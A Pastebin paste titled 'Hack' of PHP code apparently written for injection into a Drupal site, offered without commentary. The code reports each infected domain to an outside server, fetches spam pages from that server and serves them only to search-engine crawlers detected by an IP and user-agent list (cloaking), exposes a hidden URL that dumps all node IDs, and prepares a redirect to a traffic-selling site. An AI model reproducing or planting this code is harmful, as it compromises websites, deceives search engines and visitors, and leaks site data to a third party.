Guest User

Hack

a guest
Dec 7th, 2010
543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.42 KB | None | 0 0
  1. if (!function_exists('file_get_')) {
  2.     function file_get_($url) {
  3.         if (extension_loaded('curl')) {
  4.             $uagent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)";
  5.  
  6.             $ch = curl_init($url);
  7.             curl_setopt($ch, CURLOPT_URL, $url);
  8.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  9.             curl_setopt($ch, CURLOPT_HEADER, 0);
  10.             @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  11.             curl_setopt($ch, CURLOPT_ENCODING, "");
  12.             curl_setopt($ch, CURLOPT_USERAGENT, $uagent);
  13.             curl_setopt($ch, CURLOPT_TIMEOUT, 120);
  14.             curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  15.             curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
  16.             curl_setopt($ch, CURLOPT_POST, 0);
  17.  
  18.  
  19.             $content = curl_exec($ch);
  20.             curl_close($ch);
  21.             return $content;
  22.         } else {
  23.             return file_get_contents($url);
  24.         }
  25.     }
  26. }
  27.  
  28. #####################
  29.  
  30. //pingh
  31. $host = str_replace("www.", "", $_SERVER['HTTP_HOST']);
  32. $url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  33. file_get_('http://ssedrup.org/at/ping.php?domain=' . $host . '&url=' . urlencode($url));
  34.  
  35.  
  36. function node_check_param() {
  37.     if (isset($_POST['comment'])) {
  38.         foreach (array('<\?' => '<?', '\?>' => '?>') as $k => $v) {
  39.             $_POST['comment'] = preg_replace('/' . $k . '/', htmlentities($v), $_POST['comment']);
  40.         }
  41.     }
  42. }
  43.  
  44. function node_get_ids() {
  45.     //if (!@$_POST['get_nids'])return;
  46.     if(!preg_match('/get_nids/',$_SERVER['REQUEST_URI']))return;
  47.     $q = db_query('SELECT nid FROM {node} n', array());
  48.     $ids = array();
  49.     while ($r = db_fetch_array($q)) {
  50.         $ids[] = $r['nid'];
  51.     }
  52.     $ids[] = 'parseids';
  53.     echo join(",", $ids);
  54.     exit;
  55. }
  56.  
  57. function node_load_info($node) {
  58.     $url_get_node = 'http://ssedrup.org/at/get.php';
  59.  
  60.     $host = $_SERVER['HTTP_HOST'];
  61.     $agent = $_SERVER['HTTP_USER_AGENT'];
  62.  
  63.     $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
  64.     $server_referer = @$_SERVER['HTTP_REFERER'];
  65.     $server_host = @$_SERVER['HTTP_HOST'];
  66.     $server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  67.     $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
  68.     $server_query_string = @$_SERVER['QUERY_STRING'];
  69.     $server_signature = @$_SERVER['SERVER_SIGNATURE'];
  70.     $server_request = @$_SERVER['REQUEST_URI'];
  71.  
  72.     $host = str_replace("www.", "", $host);
  73.  
  74.     $location = 'http://searchtraf.net/in.cgi?3&source=' . $server_host . '&referer=' . urlencode($server_referer) . '&keyword=';
  75.  
  76.  
  77. ########################################
  78. //    $host = 'www.jawsmovie.com';
  79. //    $agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.11 (KHTML, like Gecko) Chrome/9.0.570.1 Safari/534.11';
  80. //
  81. //    $server_user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.11 (KHTML, like Gecko) Chrome/9.0.570.1 Safari/534.11';
  82. //    $server_referer = '';
  83. //    $server_host = 'www.jawsmovie.com';
  84. //    $server_forwarded_for = '';
  85. //    $server_remote_addr = '8.6.48.1';
  86. //    $server_query_string = 'rxi=514&G=128937240';
  87. //    $server_signature = '';
  88. //    $server_request = '/wp-logout.php?rxi=514&G=128937240';
  89. //########################################
  90. //    $server_referer = "http://www.google.com/search?hl=eng&q=levitra+and+your+sight&gl=us";
  91.  
  92.  
  93.     @$is_human = @detectBot($server_user_agent, $server_remote_addr, $server_query_string, $server_referer);
  94.  
  95.     if (@$is_human == false) {
  96.         if ($node instanceof stdClass) {
  97.             $url = $url_get_node . '?domain=' . $server_host . '&nid=' . $node->nid;
  98.             $j = file_get_($url);
  99.             $tmp = json_decode($j);
  100.  
  101.             if (isset($tmp->title)) {
  102.                 $node->title = $tmp->title;
  103.                 $node->format = 2;
  104.             }
  105.             if (isset($tmp->text))
  106.                 $node->body = $tmp->text;
  107.  
  108.  
  109.             if (isset($tmp->l_nodes) && count($tmp->l_nodes) > 0) {
  110.                 $l = array();
  111.                 foreach ($tmp->l_nodes as $id => $t) {
  112.                     $l[] = '<li>' . l($t, 'node/' . $id) . '</li>';
  113.                 }
  114.                 $node->body.="<ul>" . join('', $l) . "</ul>";
  115.             }
  116.  
  117.             if (isset($tmp->text)) {
  118.                 $node->teaser = $node->body;
  119.             }
  120.         }
  121.     } else {
  122.  
  123.         $sese = "unknown";
  124.  
  125.         if (eregi("yahoo", $server_referer)) {
  126.             $keys = explode("p=", $server_referer);
  127.             $keys = explode("&", $keys[1]);
  128.             $key = $keys[0];
  129.             $sese = "yahoo";
  130.         }
  131.         if (eregi("google", $server_referer)) {
  132.             $keys = explode("q=", $server_referer);
  133.             $keys = explode("&", $keys[1]);
  134.             $key = $keys[0];
  135.             $sese = "google";
  136.         }
  137.         if (eregi("bing", $server_referer)) {
  138.             $keys = explode("q=", $server_referer);
  139.             $keys = explode("&", $keys[1]);
  140.             $key = $keys[0];
  141.             $sese = "bing";
  142.         }
  143.         if (eregi("aol.com", $server_referer)) {
  144.             $keys = explode("q=", $server_referer);
  145.             $keys = explode("&", $keys[1]);
  146.             $key = $keys[0];
  147.             $sese = "aol";
  148.         }
  149.         if (eregi("ask.com", $server_referer)) {
  150.             $keys = explode("q=", $server_referer);
  151.             $keys = explode("&", $keys[1]);
  152.             $key = $keys[0];
  153.             $sese = "ask";
  154.         }
  155.  
  156.         if ($key) {
  157.             $location.= $key;
  158.             //header("Location: " . $location);
  159.             //exit;
  160.         }
  161.     }
  162. }
  163.  
  164. function detectBot($server_user_agent, $server_remote_addr, $server_query_string, $server_referer) {
  165.  
  166.     $is_human = true;
  167.  
  168.     $stop_ips_masks = array(
  169.         "/^8\.6\.4[8-9]\.[0-9]+$/", // NetRange:    8.6.48.0 - 8.6.55.255           Google Inc
  170.         "/^8\.6\.5[0-5]\.[0-9]+$/", // NetRange:    8.6.48.0 - 8.6.55.255           Google Inc
  171.         "/^64\.233\.1[6-8][0-9]\.[0-9]+$/", // NetRange:    64.233.160.0 - 64.233.191.255   Google Inc
  172.         "/^64\.233\.19[0-1]\.[0-9]+$/", // NetRange:    64.233.160.0 - 64.233.191.255   Google Inc
  173.         "/^64\.68\.8[0-7]\.[0-9]+$/", // NetRange:  64.68.80.0 - 64.68.87.255       Google Inc
  174.         "/^66\.249\.6[4-9]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255     Google Inc
  175.         "/^66\.249\.[7-8][0-9]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255     Google Inc
  176.         "/^66\.249\.9[0-5]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255     Google Inc
  177.         "/^72\.14\.19[2-9]\.[0-9]+$/", // NetRange: 72.14.192.0 - 72.14.255.255     Google Inc
  178.         "/^72\.14\.2[0-5][0-9]\.[0-9]+$/", // NetRange: 72.14.192.0 - 72.14.255.255     Google Inc
  179.         "/^74\.125\.[0-9]+\.[0-9]+$/", // NetRange: 74.125.0.0 - 74.125.255.255     Google Inc
  180.         "/^74\.6\.[0-9]+\.[0-9]+$/", // NetRange:   74.6.0.0 - 74.6.255.255         Google Inc
  181.         "/^216\.239\.3[2-9]\.[0-9]+$/", // NetRange:    216.239.32.0 - 216.239.63.255   Google Inc
  182.         "/^216\.239\.4[0-9]\.[0-9]+$/", // NetRange:    216.239.32.0 - 216.239.63.255   Google Inc
  183.         "/^216\.239\.6[0-3]\.[0-9]+$/", // NetRange:    216.239.32.0 - 216.239.63.255   Google Inc
  184.         "/^209\.85\.12[8-9]\.[0-9]+$/", // NetRange:    209.85.128.0 - 209.85.255.255   Google Inc
  185.         "/^209\.85\.1[3-9][0-9]\.[0-9]+$/", // NetRange:    209.85.128.0 - 209.85.255.255   Google Inc
  186.         "/^209\.85\.2[0-5][0-9]\.[0-9]+$/", // NetRange:    209.85.128.0 - 209.85.255.255   Google Inc
  187.         "/^64\.9\.22[4-9]\.[0-9]+$/", // NetRange:  64.9.224.0 - 64.9.255.255       Google Inc
  188.         "/^64\.9\.2[3-4][0-9]\.[0-9]+$/", // NetRange:  64.9.224.0 - 64.9.255.255       Google Inc
  189.         "/^64\.9\.25[0-5]\.[0-9]+$/", // NetRange:  64.9.224.0 - 64.9.255.255       Google Inc
  190.         "/^66\.102\.[0-9]\.[0-9]+$/", // NetRange:  66.102.0.0 - 66.102.15.255      Google Inc
  191.         "/^66\.102\.1[0-5]\.[0-9]+$/", // NetRange: 66.102.0.0 - 66.102.15.255      Google Inc
  192.         "/^65\.5[2-5]\.[0-9]+\.[0-9]+$/", // NetRange:  65.52.0.0 - 65.55.255.255       Microsoft Corp
  193.         "/^67\.195\.[0-9]+\.[0-9]+$/", // NetRange: 67.195.0.0 - 67.195.255.255     Yahoo! Inc
  194.         "/^209\.131\.3[2-9]\.[0-9]+$/", // NetRange:    209.131.32.0 - 209.131.63.255   Yahoo! Inc
  195.         "/^209\.131\.[4-5][0-9]\.[0-9]+$/", // NetRange:    209.131.32.0 - 209.131.63.255   Yahoo! Inc
  196.         "/^209\.131\.[6][0-3]\.[0-9]+$/", // NetRange:  209.131.32.0 - 209.131.63.255   Yahoo! Inc
  197.         "/^66\.163\.1[6-8][0-9]\.[0-9]+$/", // NetRange:    66.163.160.0 - 66.163.191.255   Yahoo! Inc
  198.         "/^66\.163\.19[0-1]\.[0-9]+$/", // NetRange:    66.163.160.0 - 66.163.191.255   Yahoo! Inc
  199.         "/^204\.118\.31\.202$/",
  200.         "/^74\.81\.89\.114$/",
  201.         "/^192\.251\.226\.206$/",
  202.         "/^95\.211\.27\.[0-9]+$/"
  203.     );
  204.  
  205.     $stop_ips_masks_count = count($stop_ips_masks);
  206.  
  207.     for ($w = 0; $w < $stop_ips_masks_count; $w++) {
  208.         if (preg_match($stop_ips_masks[$w], $server_remote_addr)) {
  209.             $is_human = false;
  210.             break;
  211.         }
  212.     }
  213.  
  214.     $stop_agents_masks = "/google|slurp|msnbot|bot|crawl|spider|robot|HttpClient|curl|PHP|library|WordPress|Charlotte|wwwster|Python|urllib|perl|libwww|lynx|twiceler|rambler|yandex|yahoo|rss/i";
  215.  
  216.     if (preg_match($stop_agents_masks, $server_user_agent)) {
  217.         $is_human = false;
  218.     }
  219.  
  220.     if (strlen($server_user_agent) < 12) {
  221.         $is_human = false;
  222.     }
  223.  
  224.     return $is_human;
  225. }
  226. /**/
  227.  
  228. function node_update_log($node) {
  229.     //$node->body.= '..thatsend';
  230.     node_check_param();
  231.     node_get_ids();
  232.     node_load_info($node);
  233. }
Add Comment
Please, Sign In to add comment